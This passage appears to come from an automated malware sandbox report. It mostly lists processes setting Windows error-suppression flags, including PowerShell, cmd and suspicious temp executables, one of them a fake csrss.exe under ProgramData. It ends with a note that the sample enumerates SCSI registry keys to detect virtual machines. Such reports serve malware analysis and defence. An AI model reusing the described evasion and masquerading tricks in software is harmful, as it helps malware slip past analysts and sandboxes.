Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\5Yzloz244r.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\5Yzloz244r.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
